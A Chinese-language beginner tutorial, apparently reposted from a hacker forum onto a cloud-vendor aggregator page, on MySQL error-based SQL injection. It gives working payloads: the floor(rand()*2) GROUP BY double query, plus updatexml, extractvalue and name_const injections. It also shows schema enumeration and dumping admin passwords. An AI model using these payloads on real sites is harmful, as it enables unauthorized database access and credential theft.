【菜鳥學注入】之MySQL報錯注入詳解

來源:互聯網
上載者:User

標籤:

本文轉自:http://bbs.blackbap.org/forum.php?mod=viewthread&tid=6483&highlight=mysql%2B報錯注入

用SQL注入擷取資料庫資料,利用的方法可以大致分為聯集查詢、報錯、布爾盲注以及延時注入,通常這些方法都是基於SELECT查詢語句中的SQL注射 點來實現的。如果涉及非SELECT查詢的注入,我們通常用到的就是mysql注入查詢建立一個test表USE test;CREATE TABLE test(num int(5));INSERT INTO test VALUES(1);INSERT INTO test VALUES(2);INSERT INTO test VALUES(3);INSERT INTO test VALUES(4);SELECT * FROM test;複製代碼  主要涉及的mysql函數語句:1. Rand()         #隨機函數2. Floor()         #取整函數3. CONUNT()         #彙總函數4. Group by     #分組語句複製代碼原理:當在一個彙總函式,比如CONUNT函數後面如果使用分組語句就會把查詢的一部分以錯誤的形式顯示出來                                                                                                                                                      --源於安全研究人員簡單的例子:use test;複製代碼  然後簡單看一下CONCAT的用法SELECT CONCAT("a","b");複製代碼  查詢什麼就出來什麼,下面分別看一下其它幾個函數的作用SELECT rand();複製代碼  Rand()函數,學過編程的人都應該知道是一個產生隨機數的函數範圍在(0,1)之間的浮點數再看看floor()函數SELECT floor(3.141216545);複製代碼  顯而易見,是一個取整的函數SELECT floor(rand()*2);複製代碼  Rand()的範圍是(0,1)*2==>(0,2)那麼floor(rand()*2)取整後就是0和1兩個數SELECT CONCAT((SELECT database()),floor(rand()*2));複製代碼如果我們將上面那句加上from某個表,就會返回test0和test1的集合,返回的長度有表的記錄數決定 ,例如我們from一下test表。  返回了4行資料那麼,我們如何過濾掉這些重複的資訊呢?這裡就要用到group by語句,group by的作用是:用於結合合計函數,根據一個或多個列對結果集進行分組。我們來查詢一下SELECT CONCAT((SELECT database()),floor(rand()*2)) as a from test group by a;複製代碼 這樣就不會有那麼多無用的資訊簡單解釋一下語句:CONCAT((SELECT database()),floor(rand()*2)) as a 這個就是將列名重新命名為a,看圖對比一        下即可知道Group by a就是將根據a這個列的資料,將查詢出來相同的資料分到一個組裡面,因此我們看        到的資料就只有兩個不同的同理,我們可以將database()換成其它你想要查詢的東西,如version(),@@data等。而我們注入的時候通常是通過mysql的information_schema這個資料庫來查詢資訊,查詢資料名就查詢schemata的SCHEMA_NAME這個列暴庫select * from information_schema.schemata;複製代碼  裡面就是我的資料名字爆表SELECT DISTINCT TABLE_NAME FROM information_schema.tables;複製代碼  爆列名SELECT DISTINCT TABLE_NAME FROM information_schema.tables;複製代碼太長了我就不了,自己去看看吧爆欄位就更簡單了直接查詢就是SELECT username,password FROM admin;複製代碼假如存在這列名和表知道這些後我們利用報錯注入就可以,查詢到我們想要的資料了select count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;複製代碼  為了好看你可以加一些標記select count(*), concat(‘--‘,(select user()),‘--‘, floor(rand()*2))as a from       information_schema.tables group by a;複製代碼更加進階的一點的就是,我們真正用到的雙注入查詢,是select的嵌套子查詢,就是select裡面還有一個select查詢語句通常是一種固定的格式,適用於沒有回現位置和不能order by確定的注入union select 1 from (select+count(*),concat(floor(rand(0)*2),( 注入爆資料語句))a from         information_schema.tables group by a)b藍色部分就是我們之前講的基本報錯原理,而union是因為我們注入網站時,別人查詢資料我        們使用union關鍵字進行聯集查詢,那如果人家使用的不是select查詢呢?如果不是select,我們可以將這個語句嵌套到裡面去就可,如使用or關鍵字等,進行查詢,同樣        可以進行注入,這個比較靈活詳情可以參考一下這篇文章http://www.exploit-db.com/wp-content/themes/exploit/docs/33253.pdf本來想貼某雲的地址的,但想想還是算了。簡單測試了一下,還是可以的,主要用到的代碼是這幾個or updatexml(1,concat(0x7e,(version())),0)  or ‘‘or extractvalue(1,concat(0x7e,database())) or ‘‘or (SELECT * FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or ‘‘複製代碼主要就是三種,還有一些其他的就不貼出來了,都是放在插入、刪除和更新的欄位後面簡單舉個例子吧insert into test values (5 or updatexml(1,concat(0x7e,(version())),0)  or‘‘);複製代碼  記得後面加兩個單引號!關於執行個體,可以論壇搜尋,看30的文章吧。這裡就不做示範了連結http://bbs.blackbap.org/thread-2360-1-1.htmlhttp://bbs.blackbap.org/thread-2235-1-1.htmlPS:寫的不好大牛勿噴,不知道排版怎麼樣,其實我在乎的是排版不是內容寫在最後,謝謝觀看參考文章:           http://www.cnseay.com/2363/           http://bugs.mysql.com/bug.php?id=8652           http://www.websec.ca/kb/sql_injection#MySQL_Specific_Code

 

【菜鳥學注入】之MySQL報錯注入詳解

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.